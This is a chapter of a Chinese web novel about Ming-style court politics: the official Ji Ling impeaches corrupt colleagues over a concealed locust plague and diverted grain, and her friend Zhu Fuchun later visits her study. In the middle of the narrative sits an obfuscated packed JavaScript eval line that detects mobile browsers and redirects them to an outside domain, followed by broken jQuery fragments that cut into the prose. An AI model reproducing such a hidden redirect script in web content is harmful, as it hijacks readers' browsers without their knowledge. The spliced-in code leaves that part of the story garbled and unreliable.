徐行光临石竹巷季家太过频繁，浮云堂的四个丫头从初次的震惊恐慌，逐渐变为习惯淡然。


    而他与她的密谋自然绝不容许任何人知晓。


    一架几乎与季泠马车别无二致的马车总会在下值之后，从六部衙门后面的深巷出发，绕上几圈小路，再自然地驶入已经由徐家护卫守卫的前院。


    “河南清吏司主事贺晋环，这几日我就要上疏将他渎职之事戳破了。”


    季泠指了指书案上的东西：“湖广管理粮仓的仓吏仓使听从当地的布政、按察、都司，而这些人基本都与闫有德有来往。户部管着天下财政，无论是起送粮还是留存粮，他们只要从中摸上两把，就足以装满自己的腰包。”


    “他们敢这么做，全是仗着着闫有德在京城替他们罩着，闫有德收了钱，自然乐意效劳。去年湖广大丰，他们因此更是掉进钱洞中了，直接毫不客气地将多于往年的部分全部收入囊中。”


    “只是今年特殊，他们前脚刚借漕船之难将粮食神不知鬼不觉地转走，后脚临近湖广的河南汝宁府、南阳府就糟了蝗灾。地方官员怕朝廷降罪，趁着蝗灾没有蔓延到周边，两府一合计，就将消息压了下来，粮食不够，就借着贺晋环找到闫有德，将湖广粮仓中的粮食暗地里调了过去，平了这场蝗灾。”


    徐行觉得不对劲，“蝗灾这样大的事情，京城怎么一点声音都没有？”


    “我曾多次去往湖广，在湖广见到的，也和在京城听到的完全不一样。地方对于中央而言，鞭长莫及，官员要是个有良心的，收了底下人的钱，能办实事，便也算了。只是若是鱼肉百姓，横行霸道，做了当地的土皇帝，那才叫难。百姓的声音又怎么能传得出州府的城墙呢？曾经周平压下鞑靼进犯的消息，不就是前车之鉴吗？”


    “闫有德一个户部郎中，怎么如此手眼通天？竟然能将手伸到河南司去？”


    季泠摇摇头，放下手中的账册，疲惫地靠在椅背上，看着局促在玫瑰椅中的徐行，板起先生的样子教育他。


    “这就是你少见多怪了吧。你在刑部和吏部走得一帆风顺，上司都器重你、忌惮你，陛下又赏识你，汉王更是尊敬你，你的官路简直是畅通无阻。你不知道，我们这些人有多眼红，恨不得把你拉下来，自己去感受一下这样没有崎岖的顺畅。”


    “自我入户部以来，各司之间的势力盘根错节，闫有德不知道是顾忌我出身公主府还是什么别的缘故，许多事情都跳过我，或是冷待我，我只好自己找法子。他手下那个员外郎，我曾经的直属上官，更是他的马屁精，闫有德要他打我左脸，他恨不得再补一下右脸。”


    闫有德。


    徐行又想起闫有德那只手……


    每每想到此事，他便再难自抑，那把怒火简直就要将他烧个彻底，将他自己都吓一跳。


    可他不能在季泠面前表现出来。


    他在她心目中，应当还要是那样运筹帷幄的温润君子才好。


    待到漕粮一事解决，他非把那只手剁下来不可。


    徐行看季泠搭在四出头官帽椅的搭脑上，也不顾木头膈得脸疼。


    其实，此番将她调离，也是他存了私心的。


    他不知道，若再让季泠在闫有德手下，那色痞子还能干出什么腌臜事。


    “你从前从未说过这些。但你的政绩却很漂亮，吏部众人见了你的记档，无不称赞的。”


    季泠自然看出徐行的诧异和心疼，只是不在意地耸耸肩：“都已经过去了，现在我也不在他手下讨生活，也总算是能喘口气。更何况，我也不是小孩儿了，受了委屈就到处找人哭诉，别人只会觉得我没本事。再加上我是个女人，他们更要将此混为一谈，看不起我。


    “好在刚入户部时结识了扶春兄，他倒是传授我不少诀窍，后来你又送来了章钧龄，闫有德多多少少也收敛一些。”


    “只是闫有德确实是个厉害人物，门厅热闹，宾客盈门，户部上下的关系打点得十分妥当，谁喜欢好茶美酒，谁喜欢风雅之物，谁喜欢歌舞佳人，他都摸得门清，全能将事情打点到人家的心尖上。这点却是我怎么样也学不来的。”


    “人各有所长，你已然是同辈佼佼。”


    季泠得瑟一笑：“那是自然。也不看看我为此如何焚膏继晷，克尽厥职。不是我自夸，我看啊，就算是你这位吏部侍郎，当年也必定比不过我。”


    徐行走到官帽椅后，低头见她这副齿少气锐的模样，分明还是孩子心性，忍不住伸出手轻轻掐了掐她的脸，也乐得奉承她两句。


    “季大人自然是远远超过我的。我这仕途走得如此顺畅，还不是全靠当年季大人的提点和这两年的襄助。只怕十年之后，季大人就要远胜我去，成为咱们当朝第一位女阁老了。”


    季泠被哄得朗声大笑：“哪里是靠我走到的今日，你分明是靠你这张嘴，连闫有德这样见风使舵的如簧巧舌都比不过你了。难怪那些老臣都霸占着高位舍不得退下，日日有人这样捧着自己，一个眼神便有人鞍前马后，换我也舍不得放下大权，回乡种田呢。”


    她总算是明白，为什么徐行能够年纪轻轻，便荣登三品了。


    一张温和面皮，以柔克刚的本事，林下风气的气质，再加上不动声色、顺其自然的奉承，谁能不被他迷惑住呢。


    想到此处，季泠便又觉得，自己动了心，实在是情理之中。


    徐行所言非虚，户科给事中虽然品秩不高，但权力极大。


    稽查六部百司、参与延议延推、掌侍从规谏、补阙拾遗，季泠任职三月以来，便是众人眼中翻手为云，覆手为雨的女罗刹。


    暮春的一声惊雷，引得百官侧目转身，当日日朝，季泠立于殿内左右，珥笔记旨，一身青袍，宠辱不惊，风雨不扰。


    瓢泼大雨之下，严诚身边的小太监亲自送来一把油纸伞，为季泠遮挡疾雨。


    “季大人，留步。”


    金水河畔，季泠闻声，微微一笑，转身看向来人。


    闫有德挂着天衣无缝的笑容，眼中含冰。


    “闫大人。”季泠拱手行礼，却似乎并不恭敬。


    闫有德看了看季泠身侧的小太监，嘴角略抽动一番，示意欲与她同行。


    “季大人，如今也是官运亨通了呢。”


    “不敢，托闫大人的福，在户部提心吊胆两余年，如今虽不在闫大人手下做事，可执庸仍记得，闫大人对执庸的屡次照拂。”


    大雨滂沱，季泠的青袍渐晕出拂晓黛山之色。


    她的步履徐缓，闫有德不得不慢下来，以求与她同频话事。


    “季大人何必自谦？只是，本官的题奏本章，到了六科，还要季大人多多照拂才是，莫要多了什么，少了什么，让本官忧心。”


    季泠淡笑，背手立于朱门之前，转身看向闫有德。


    “闫大人多心了，掌驳正违是执庸之职。户部奏本，执庸必然谨遵科抄封驳之绳矩，不敢有违。”


    闫有德再也装不下去，死死盯着季泠，她的脸上被飞雨溅上几点水珠，他却觉得，如此肤凝清露的面庞，几乎是她一直以来迷惑众人的伪装。


    “是吗？可本官十日前递交的奏本，今日却仍未有动静，我正想请问季大人，是否是六科人手不足？抑或是，有人生了不该有的心思，公报私仇？“


    “闫大人言重了，六科接到各衙门的题本奏章，皆要五日一送内阁，以备编纂。又怎会是有人公报私仇呢？还是说，您质疑六科过奏流程？“


    闫有德冷下脸：“季执庸，你别得寸进尺。”


    季泠却仍不减风度：“兴许是您的请安折子深得圣心呢？闫大人，且等着吧。”


    语罢，季泠略拱手倾身，拂袖而去。


    翌日，闫有德等到了回复。


    户科给事中季执庸奏劾河南清吏司主事贺晋环及其部下，隐瞒河南蝗灾、越权私调湖广储粮。


    闫有德申诉漕船沉没的奏本被压在季泠弹劾其徇私渎职的奏疏之下。


    养心殿内，皇上龙颜大怒，将茶盏一扫而落。


    “成珏！”


    “在。”


    “此案由你接手细查！将湖广郎中与员外郎革职，封宅等候查办。贺晋环，关入诏狱，给朕严审！朕不信，一个主事，能将蝗灾一事毫无风声地压下。”


    成珏抱拳领命。


    自从两年前鞑靼进犯隐瞒不报一事之后，皇上十分痛恨地方官员的瞒报之举。闫有德与贺晋环实在是咎由自取了。


    只是如此一来，湖广司人手不足，重新提拔新人，又需要一定的时间熟悉。


    皇上思来想去，决定复用季泠，命她暂代闫有德郎中一职，并让山东司员外郎祝扶春兼领湖广司员外郎。


    闫有德在户部狼狈而出之际，季泠风光重返。


    户部衙署前，两纵人相撞。


    闫有德一见季泠，当即怒喝：“季执庸！”


    季泠看着他身后的锦衣卫，心情大好。


    “闫大人。”季泠懊恼地住了嘴，又开口道：“噢，错了，现在你不是大人了。闫有德。”


    “你休要猖狂！”


    “我偏要猖狂。你能耐我何？”季泠欣赏着闫有德如酱面色，扬颌走到他身边，“本官早已说过，我爬的速度，比你快。”


    “呵，你以为，你能讨得了好吗？”闫有德压下声音，在她耳边诅咒。


    季泠斜眼睨去，见他陡然平静又幸灾乐祸的表情，心中闪过不安。


    “你坐到我的位置上，我自然，要奉上大礼相贺。”


    季泠还来不及反应，闫有德便被锦衣卫押走。


    衙门前，祝扶春与章钧龄正笑脸相迎。


    “季大人。”两人恭敬请安，季泠立刻扶起他们，佯装发怒：“快进去，别让我回来第一日，就被人抓住个恃宠生骄的名头，害惨我。”


    祝扶春笑了：“哪敢呐！若有这样多嘴的人，我第一个不放过的。往后可要季大人罩着我了。”


    祝扶春见她意气风发的模样，不得不感慨，三年前，季泠初来乍到，她还需仰仗他指点帮扶，如今一晃，季泠居然已经成为他的上官了。


    季泠也不放过他：“怎么，对着一个年纪阅历都不如你的女子喊一句大人，委屈你了？”


    祝扶春立刻认错：“自然不会，只是恨自己能力不足，混了这么多年，竟还没有出头...也是托了你的福，如今还能得皇上青眼，兼了湖广司的事务。”


    一人兼多职，下一回升官，也该轮到他了吧。


    季泠也不继续跟他插科打诨，吩咐章钧龄去将这三个月的四科账册汇总给她后，示意祝扶春坐下。


    “你那可有过往山东司应对旱涝之灾的对策？”


    “自然是有...只是你突然要这个做什么？湖广近几年并没有什么灾害吧。”


    “虽然是没有，但今年天气反常，河南多地都发了蝗灾，我有些担心湖广……总之，未雨绸缪，不是坏事，总比到时候真天降大祸，我们毫无准备，措手不及的好。”


    祝扶春却觉得季泠未免惊弓之鸟，今年虽然气候炎热，但湖广风平浪静，并无异状。


    但既然她求到他头上，他不妨走一遭，在她跟前刷刷脸。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446333|185112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我刚进户部那两年，山东多灾，近两年倒是没有...一时间要找起来，恐怕是没那么快。等我找齐全了，送你家中去吧，户部人多眼杂，莫让人家觉得你插手山东司务，背地里议论。”


    季泠点头笑道：“还是你细心周到，若没有你，我怕是也难在短短三年，便将户部摸熟。”


    祝扶春坐在她身侧，长久凝视着她。


    似乎自从被调去六科之后，她便常展笑颜。如今回来，却与三个月前有些不同了。


    槐夏燠热，青袍峥嵘，面若桃花。


    “执庸。”


    “怎么了？”季泠倾头看向他。


    祝扶春瞥向她手中的笔，笔下的小楷兼济秀逸与峻拔，刘阁老都曾出言赞扬。


    “无事，只是，总感觉，你变了许多。”


    季泠心下一跳，似乎是想到什么，眉头微动，轻轻一笑。


    “升官了，自然要变一些的。若还是从前那副憨傻样，又要如何立威呢？”


    可她见祝扶春仍是郁悒不振的模样，思考一瞬，便也了然。


    “扶春兄，你莫要因为我如今升了官，越过你去，就自惭形秽。放眼本朝，如你一般，二十出头便进士及第，未及而立就官至五品的人，屈指可数。”


    “你负逸群之才，如今正当壮年，平步青云，直待来日。昔日，我低你半品，你不因我身轻言微，许我与你称兄道弟。今日我因运势而高你半品，自也不会长揖不拜，私下里，你仍是我的扶春兄。”


    祝扶春欲语又休，释然一笑：“有你此言，此生无憾了。“


    季泠也回他一笑，复低头继续写着公文：“有你这样的挚友，我也无憾。得了，咱别在这儿互诉衷肠了，一会儿我还要去吏部问询上任之事，你先替我去寻一下我要的东西吧。”


    祝扶春办事实在利落，才过两日便将自己能找着的书册全都搜罗来。


    季泠坐在书房看书时，突闻屋外有男子的声音，当即走到院中，就见祝扶春由丫头引入，才刚跨过院门，抱着一只大木箱，暂歇在了石桌边上。


    她连忙迎上去道：“你怎么亲自来了，叫手下人送一趟就行了。”


    “不妨事，书册杂乱，我担心你不熟悉，倒不如自己送过来，也好告诉你细节。”祝扶春乏力地甩甩手：“该给你放在哪？”


    季泠想接手，却被祝扶春避开：“重得很，你说放哪就是。”


    “书房吧。”季泠带他走进书房，将沉重的书箱暂时先搁置在双层书桌上。


    祝扶春将里头的书册案卷都拿了出来，一一给她介绍：“最上面的十几本都是各地的县志府志，你可以看看，记载了各地大灾的情况。后头的几本是我曾看过的救灾之策，也许有些帮助。不过各地情况皆不相同，每年的河水气候也不同，你也只能大致参考一下。”


    季泠看着祝扶春替她准备齐全，其中还有祝扶春夹带的笔记心得，十分详尽。


    她开心地坐下来，将书册都拿出来，粗粗地先翻看一下：“真是要多谢你了扶春兄，难为你这么周全地都翻出来。”


    “如今你也算是我的上司了，替上司做事，是我的职责。”


    季泠也不管他诨笑，只自己先看着：“我就不招呼你了，你自己坐下吧。”


    祝扶春站在她身后，见她看得专注，也不打扰她，只四顾看着书房陈设，摆弄摆弄那盆茉莉。


    “坐便不坐了，本就是顺路来你这儿一趟。不过，你那外院怎么有那么多人？上回来时，还未曾见过。”


    他方才进来时，险些以为走错了人家。


    外院层层侍卫把守，不知道的，还以为是什么朝廷重臣的府邸呢。


    季泠手指停在县志书页上，似乎投入其中，等再抬头时，就见祝扶春疑惑地看着她。


    “你刚刚说什么？”


    祝扶春笑道：“没什么，你这儿书倒挺多。”


    “你自己看着，若是有中意的，你就拿去。”


    祝扶春一一摸过书架上的书脊，在一本书上停留。


    那本书与旁侧的其他书格格不入，已然老旧，但却没有尘灰，摆在书架的正中间，想来是主人时常翻阅的。


    祝扶春抽了出来，随意翻开，书册里头赫然夹着一张短笺。


    祝扶春暗暗盯着上头的四个字，转过身倚靠在书架上，看向案前专注的季泠，语气里满是好奇：“山止是谁？”


    季泠一惊，立刻从官帽椅上跳起来，伸手就要去将东西抢回来。


    祝扶春仗着比季泠高几分，将手高高举起，含笑看着她在自己身前发怒蹦跶，偏就不让她拿到。


    “快给我！”


    见到季泠真的恼怒了，他才放下手还给她。


    “所以，山止是谁？”


    “一个故交。”


    “噢？故交？是男是女？是建州人士？还是京城少爷？”祝扶春在脑海中仔细搜寻，但对这个名字完全没有印象。


    季泠没好气地白了他一眼：“扶春兄，你一个大男人，怎么这么爱探听别人的私事？”


    “怎么说你我也算是朋友，关心关心你，怎么能叫探听呢？”


    祝扶春见她小心地将书放回书架，宽袖下的拇指摩擦着指节。


    “天色已晚，我就不打扰你了，若是你后续还有什么疑问，尽管来找我，我暂时也不需要这些，你就都留着吧。”


    季泠点点头，起身将他送至堂前。


    “碧萝，好生送祝大人出去。”


    祝扶春回头看了看浮云堂，跟着前方的丫头，若有所思地离去。